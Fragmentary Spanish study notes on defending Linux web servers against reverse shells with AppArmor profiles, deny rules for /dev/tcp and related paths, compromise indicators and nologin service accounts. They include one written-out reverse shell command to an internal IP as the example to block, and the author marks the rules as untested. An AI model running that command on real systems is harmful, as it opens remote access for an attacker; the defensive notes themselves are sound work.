- crear perfiles por aplicacion
Bloquear reverse shell
bash -i >& /dev/tcp/192.168.100.5/443 0>&1
sudo apt install apparmor
sudo systemctl status apparmor
sudo aa-status # apparmor puede tener perfiles por defecto
sudo aa-genprof bash # generar perfil para bash
sudo nvim /etc/apparmor.d/usr.bin.bash # editar perfil
deny /dev/tcp/** rw, # evitará que cualquier proceso Bash abra conexiones de red
deny /dev/udp/** rw,
deny /dev/raw/** rw,
sudo apparmor_parser -r /etc/apparmor.d/usr.bin.bash #recargar perfil
#falta hacer pruebas
✅ AppArmor
Perfil estricto para shells usadas por servicios web:
Prohibir:
- modo interactivo
- señales de job control
- apertura de sockets
Ejemplo conceptual (no explotable):
deny signal (send) peer=bash,
deny capability sys_tty_config,
Usan binarios del sistema:
🔍 Indicadores reales de compromiso:
- Proceso normal iniciando otro proceso
- Padre: nginx / apache / node
- Hijo: shell
✅ AppArmor por servicio: 👉 El servicio web no puede lanzar shells, aunque exista RCE.
✅ Hardening del sistema
Usuarios de servicios deben tener shell deshabilitado con /usr/sbin/nologin i /bin/false
revisar /etc/passwd
🧩 Frase clave para que la recuerdes
“Las reverse shells no hacen login, ejecutan procesos.”